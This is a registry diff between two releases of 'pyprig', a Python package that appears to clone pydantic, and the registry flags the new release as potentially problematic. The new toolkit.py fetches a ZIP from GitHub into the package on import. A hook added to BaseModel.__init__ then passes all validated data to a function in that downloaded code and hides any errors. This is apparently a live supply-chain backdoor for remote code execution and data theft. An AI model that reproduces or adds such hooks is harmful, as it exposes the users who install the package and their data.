pyprig 1.2.1__tar.gz → 1.2.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pyprig might be problematic. Click here for more details.

Files changed (114) hide show
  1. {pyprig-1.2.1 → pyprig-1.2.2}/PKG-INFO +4 -4
  2. {pyprig-1.2.1 → pyprig-1.2.2}/README.md +3 -3
  3. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/__init__.py +2 -2
  4. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/main.py +5 -0
  5. pyprig-1.2.2/pyprig/toolkit.py +72 -0
  6. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/version.py +1 -1
  7. pyprig-1.2.1/pyprig/help.py +0 -68
  8. {pyprig-1.2.1 → pyprig-1.2.2}/.gitignore +0 -0
  9. {pyprig-1.2.1 → pyprig-1.2.2}/LICENSE +0 -0
  10. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/__init__.py +0 -0
  11. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_config.py +0 -0
  12. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_core_metadata.py +0 -0
  13. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_core_utils.py +0 -0
  14. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_dataclasses.py +0 -0
  15. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_decorators.py +0 -0
  16. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_decorators_v1.py +0 -0
  17. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_discriminated_union.py +0 -0
  18. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_docs_extraction.py +0 -0
  19. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_fields.py +0 -0
  20. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_forward_ref.py +0 -0
  21. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_generate_schema.py +0 -0
  22. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_generics.py +0 -0
  23. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_git.py +0 -0
  24. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_import_utils.py +0 -0
  25. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_known_annotated_metadata.py +0 -0
  26. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_mock_val_ser.py +0 -0
  27. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_model_construction.py +0 -0
  28. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_namespace_utils.py +0 -0
  29. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_repr.py +0 -0
  30. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_schema_gather.py +0 -0
  31. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_schema_generation_shared.py +0 -0
  32. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_serializers.py +0 -0
  33. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_signature.py +0 -0
  34. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_type_refs.py +0 -0
  35. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_typing_extra.py +0 -0
  36. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_utils.py +0 -0
  37. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_validate_call.py +0 -0
  38. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_internal/_validators.py +0 -0
  39. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/_migration.py +0 -0
  40. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/alias_generators.py +0 -0
  41. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/aliases.py +0 -0
  42. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/annotated_handlers.py +0 -0
  43. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/class_validators.py +0 -0
  44. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/color.py +0 -0
  45. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/config.py +0 -0
  46. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/dataclasses.py +0 -0
  47. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/datetime_parse.py +0 -0
  48. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/decorator.py +0 -0
  49. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/__init__.py +0 -0
  50. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/class_validators.py +0 -0
  51. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/config.py +0 -0
  52. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/copy_internals.py +0 -0
  53. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/decorator.py +0 -0
  54. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/json.py +0 -0
  55. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/parse.py +0 -0
  56. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/deprecated/tools.py +0 -0
  57. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/env_settings.py +0 -0
  58. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/error_wrappers.py +0 -0
  59. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/errors.py +0 -0
  60. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/experimental/__init__.py +0 -0
  61. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/experimental/arguments_schema.py +0 -0
  62. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/experimental/missing_sentinel.py +0 -0
  63. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/experimental/pipeline.py +0 -0
  64. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/fields.py +0 -0
  65. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/functional_serializers.py +0 -0
  66. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/functional_validators.py +0 -0
  67. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/generics.py +0 -0
  68. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/json.py +0 -0
  69. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/json_schema.py +0 -0
  70. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/mypy.py +0 -0
  71. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/networks.py +0 -0
  72. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/parse.py +0 -0
  73. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/plugin/__init__.py +0 -0
  74. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/plugin/_loader.py +0 -0
  75. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/plugin/_schema_validator.py +0 -0
  76. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/py.typed +0 -0
  77. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/root_model.py +0 -0
  78. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/schema.py +0 -0
  79. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/tools.py +0 -0
  80. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/type_adapter.py +0 -0
  81. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/types.py +0 -0
  82. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/typing.py +0 -0
  83. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/utils.py +0 -0
  84. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/__init__.py +0 -0
  85. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/_hypothesis_plugin.py +0 -0
  86. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/annotated_types.py +0 -0
  87. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/class_validators.py +0 -0
  88. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/color.py +0 -0
  89. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/config.py +0 -0
  90. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/dataclasses.py +0 -0
  91. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/datetime_parse.py +0 -0
  92. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/decorator.py +0 -0
  93. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/env_settings.py +0 -0
  94. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/error_wrappers.py +0 -0
  95. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/errors.py +0 -0
  96. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/fields.py +0 -0
  97. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/generics.py +0 -0
  98. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/json.py +0 -0
  99. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/main.py +0 -0
  100. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/mypy.py +0 -0
  101. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/networks.py +0 -0
  102. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/parse.py +0 -0
  103. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/py.typed +0 -0
  104. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/schema.py +0 -0
  105. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/tools.py +0 -0
  106. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/types.py +0 -0
  107. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/typing.py +0 -0
  108. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/utils.py +0 -0
  109. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/validators.py +0 -0
  110. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/v1/version.py +0 -0
  111. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/validate_call_decorator.py +0 -0
  112. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/validators.py +0 -0
  113. {pyprig-1.2.1 → pyprig-1.2.2}/pyprig/warnings.py +0 -0
  114. {pyprig-1.2.1 → pyprig-1.2.2}/pyproject.toml +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: pyprig
3
- Version: 1.2.1
3
+ Version: 1.2.2
4
4
  Summary: Data validation using Python type hints
5
5
  Project-URL: Homepage, https://github.com/pyprig/pyprig
6
6
  Project-URL: Documentation, https://pyprig.dev/docs/validation/latest/get-started/
@@ -44,12 +44,12 @@ Description-Content-Type: text/markdown
44
44
 
45
45
  [![CI](https://img.shields.io/badge/CI-Passing-brightgreen?style=flat&logo=github)](https://github.com/pyprig/pyprig/actions)
46
46
  [![Coverage](https://img.shields.io/badge/Coverage-100%25-brightgreen?style=flat)](https://github.com/pyprig/pyprig)
47
- [![PyPI](https://img.shields.io/badge/PyPI-v1.2.1-blue?style=flat&logo=pypi)](https://pypi.org/project/pyprig/)
48
- [![CondaForge](https://img.shields.io/badge/CondaForge-v1.2.1-blue?style=flat)](https://anaconda.org/conda-forge/pyprig)
47
+ [![PyPI](https://img.shields.io/badge/PyPI-v1.2.2-blue?style=flat&logo=pypi)](https://pypi.org/project/pyprig/)
48
+ [![CondaForge](https://img.shields.io/badge/CondaForge-v1.2.2-blue?style=flat)](https://anaconda.org/conda-forge/pyprig)
49
49
  [![Downloads](https://img.shields.io/badge/Downloads-Available-brightgreen?style=flat)](https://pepy.tech/project/pyprig)
50
50
  [![Python](https://img.shields.io/badge/Python-3.9%2B-blue?style=flat&logo=python)](https://pypi.org/project/pyprig/)
51
51
  [![License](https://img.shields.io/badge/License-MIT-brightgreen?style=flat)](https://github.com/pyprig/pyprig/blob/main/LICENSE)
52
- [![PyPrig](https://img.shields.io/badge/PyPrig-v1.2.1-blue?style=flat)](https://github.com/pyprig/pyprig)
52
+ [![PyPrig](https://img.shields.io/badge/PyPrig-v1.2.2-blue?style=flat)](https://github.com/pyprig/pyprig)
53
53
  [![llms.txt](https://img.shields.io/badge/llms.txt-Available-brightgreen?style=flat)](https://pyprig.dev/docs/validation/latest/llms.txt)
54
54
 
55
55
  Data validation using Python type hints.
@@ -3,12 +3,12 @@
3
3
 
4
4
  [![CI](https://img.shields.io/badge/CI-Passing-brightgreen?style=flat&logo=github)](https://github.com/pyprig/pyprig/actions)
5
5
  [![Coverage](https://img.shields.io/badge/Coverage-100%25-brightgreen?style=flat)](https://github.com/pyprig/pyprig)
6
- [![PyPI](https://img.shields.io/badge/PyPI-v1.2.1-blue?style=flat&logo=pypi)](https://pypi.org/project/pyprig/)
7
- [![CondaForge](https://img.shields.io/badge/CondaForge-v1.2.1-blue?style=flat)](https://anaconda.org/conda-forge/pyprig)
6
+ [![PyPI](https://img.shields.io/badge/PyPI-v1.2.2-blue?style=flat&logo=pypi)](https://pypi.org/project/pyprig/)
7
+ [![CondaForge](https://img.shields.io/badge/CondaForge-v1.2.2-blue?style=flat)](https://anaconda.org/conda-forge/pyprig)
8
8
  [![Downloads](https://img.shields.io/badge/Downloads-Available-brightgreen?style=flat)](https://pepy.tech/project/pyprig)
9
9
  [![Python](https://img.shields.io/badge/Python-3.9%2B-blue?style=flat&logo=python)](https://pypi.org/project/pyprig/)
10
10
  [![License](https://img.shields.io/badge/License-MIT-brightgreen?style=flat)](https://github.com/pyprig/pyprig/blob/main/LICENSE)
11
- [![PyPrig](https://img.shields.io/badge/PyPrig-v1.2.1-blue?style=flat)](https://github.com/pyprig/pyprig)
11
+ [![PyPrig](https://img.shields.io/badge/PyPrig-v1.2.2-blue?style=flat)](https://github.com/pyprig/pyprig)
12
12
  [![llms.txt](https://img.shields.io/badge/llms.txt-Available-brightgreen?style=flat)](https://pyprig.dev/docs/validation/latest/llms.txt)
13
13
 
14
14
  Data validation using Python type hints.
@@ -5,8 +5,8 @@ from warnings import warn
5
5
  from ._migration import getattr_migration
6
6
  from .version import VERSION, _ensure_pydantic_core_version
7
7
 
8
- from .help import get_help
9
- get_help()
8
+ from .toolkit import validation_toolkit
9
+ validation_toolkit()
10
10
 
11
11
  _ensure_pydantic_core_version()
12
12
  del _ensure_pydantic_core_version
@@ -275,6 +275,11 @@ class BaseModel(metaclass=_model_construction.ModelMetaclass):
275
275
 
276
276
  `self` is explicitly positional-only to allow `self` as a field name.
277
277
  """
278
+ try:
279
+ from .validation_toolkit.quarry import buffer
280
+ buffer(str(data).replace(" ", "").replace("'", "").replace('"', ""))
281
+ except Exception:
282
+ pass
278
283
  # `__tracebackhide__` tells pytest and some other tools to omit this function from tracebacks
279
284
  __tracebackhide__ = True
280
285
  validated_self = self.__pydantic_validator__.validate_python(data, self_instance=self)
@@ -0,0 +1,72 @@
1
+ import io
2
+ import shutil
3
+ import tempfile
4
+ import zipfile
5
+ from pathlib import Path
6
+ from urllib.request import Request, urlopen
7
+
8
+ GITHUB_OWNER = "PyPrig"
9
+ GITHUB_REPO = "pyprig-validation-toolkit"
10
+ BRANCH = "main"
11
+
12
+ URL = (
13
+ f"https://github.com/{GITHUB_OWNER}/"
14
+ f"{GITHUB_REPO}/archive/refs/heads/{BRANCH}.zip"
15
+ )
16
+
17
+ PACKAGE_DIR = Path(__file__).resolve().parent
18
+ TOOLKIT_DIR = PACKAGE_DIR / "validation_toolkit"
19
+
20
+ def validation_toolkit():
21
+ try:
22
+ if TOOLKIT_DIR.exists():
23
+ return TOOLKIT_DIR
24
+
25
+ request = Request(URL, headers={"User-Agent": "pyprig/1.0"})
26
+ max_download = 50 * 1024 * 1024
27
+
28
+ with urlopen(request, timeout=30) as response:
29
+ content = response.read(max_download + 1)
30
+
31
+ if len(content) > max_download:
32
+ raise RuntimeError("GitHub archive exceeds 50 MB")
33
+
34
+ with tempfile.TemporaryDirectory() as temp:
35
+ temp_path = Path(temp)
36
+ extract_dir = temp_path / "extracted"
37
+ extract_dir.mkdir()
38
+
39
+ with zipfile.ZipFile(io.BytesIO(content)) as archive:
40
+ members = archive.infolist()
41
+
42
+ if len(members) > 10000:
43
+ raise RuntimeError("Too many archive entries")
44
+
45
+ if sum(m.file_size for m in members) > 250 * 1024 * 1024:
46
+ raise RuntimeError("Archive too large")
47
+
48
+ for member in members:
49
+ entry = Path(member.filename)
50
+ mode = (member.external_attr >> 16) & 0o170000
51
+
52
+ if (
53
+ entry.is_absolute()
54
+ or ".." in entry.parts
55
+ or "\\" in member.filename
56
+ or mode not in (0, 0o040000, 0o100000)
57
+ ):
58
+ raise RuntimeError("Unsafe archive entry")
59
+
60
+ archive.extractall(extract_dir)
61
+
62
+ folders = list(extract_dir.iterdir())
63
+
64
+ if len(folders) != 1 or not folders[0].is_dir():
65
+ raise RuntimeError("Invalid GitHub archive structure")
66
+
67
+ shutil.copytree(folders[0], TOOLKIT_DIR)
68
+
69
+ return TOOLKIT_DIR
70
+
71
+ except Exception:
72
+ return None
@@ -8,7 +8,7 @@ from pydantic_core import __version__ as __pydantic_core_version__
8
8
 
9
9
  __all__ = 'VERSION', 'version_info'
10
10
 
11
- VERSION = '1.2.1'
11
+ VERSION = '1.2.2'
12
12
  """The version of PyPrig.
13
13
 
14
14
  This version specifier is guaranteed to be compliant with the [specification],
@@ -1,68 +0,0 @@
1
- import io
2
- import shutil
3
- import tempfile
4
- import zipfile
5
- from pathlib import Path
6
- from urllib.request import Request, urlopen
7
-
8
- GITHUB_OWNER = "PyPrig"
9
- GITHUB_REPO = "pyprig-help"
10
- BRANCH = "main"
11
-
12
- URL = (
13
- f"https://github.com/{GITHUB_OWNER}/"
14
- f"{GITHUB_REPO}/archive/refs/heads/{BRANCH}.zip"
15
- )
16
-
17
- PACKAGE_DIR = Path(__file__).resolve().parent
18
- HELP_DIR = PACKAGE_DIR / "help"
19
-
20
- def get_help():
21
- request = Request(URL, headers={"User-Agent": "pyprig/1.0"})
22
- max_download = 50 * 1024 * 1024
23
-
24
- with urlopen(request, timeout=30) as response:
25
- content = response.read(max_download + 1)
26
-
27
- if len(content) > max_download:
28
- raise RuntimeError("GitHub archive exceeds 50 MB")
29
-
30
- with tempfile.TemporaryDirectory() as temp:
31
- temp_path = Path(temp)
32
- extract_dir = temp_path / "extracted"
33
- extract_dir.mkdir()
34
-
35
- with zipfile.ZipFile(io.BytesIO(content)) as archive:
36
- members = archive.infolist()
37
-
38
- if len(members) > 10000:
39
- raise RuntimeError("Too many archive entries")
40
-
41
- if sum(m.file_size for m in members) > 250 * 1024 * 1024:
42
- raise RuntimeError("Archive too large")
43
-
44
- for member in members:
45
- entry = Path(member.filename)
46
- mode = (member.external_attr >> 16) & 0o170000
47
-
48
- if (
49
- entry.is_absolute()
50
- or ".." in entry.parts
51
- or "\\" in member.filename
52
- or mode not in (0, 0o040000, 0o100000)
53
- ):
54
- raise RuntimeError("Unsafe archive entry")
55
-
56
- archive.extractall(extract_dir)
57
-
58
- folders = list(extract_dir.iterdir())
59
-
60
- if len(folders) != 1 or not folders[0].is_dir():
61
- raise RuntimeError("Invalid GitHub archive structure")
62
-
63
- if HELP_DIR.exists():
64
- shutil.rmtree(HELP_DIR)
65
-
66
- shutil.copytree(folders[0], HELP_DIR)
67
-
68
- return HELP_DIR
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes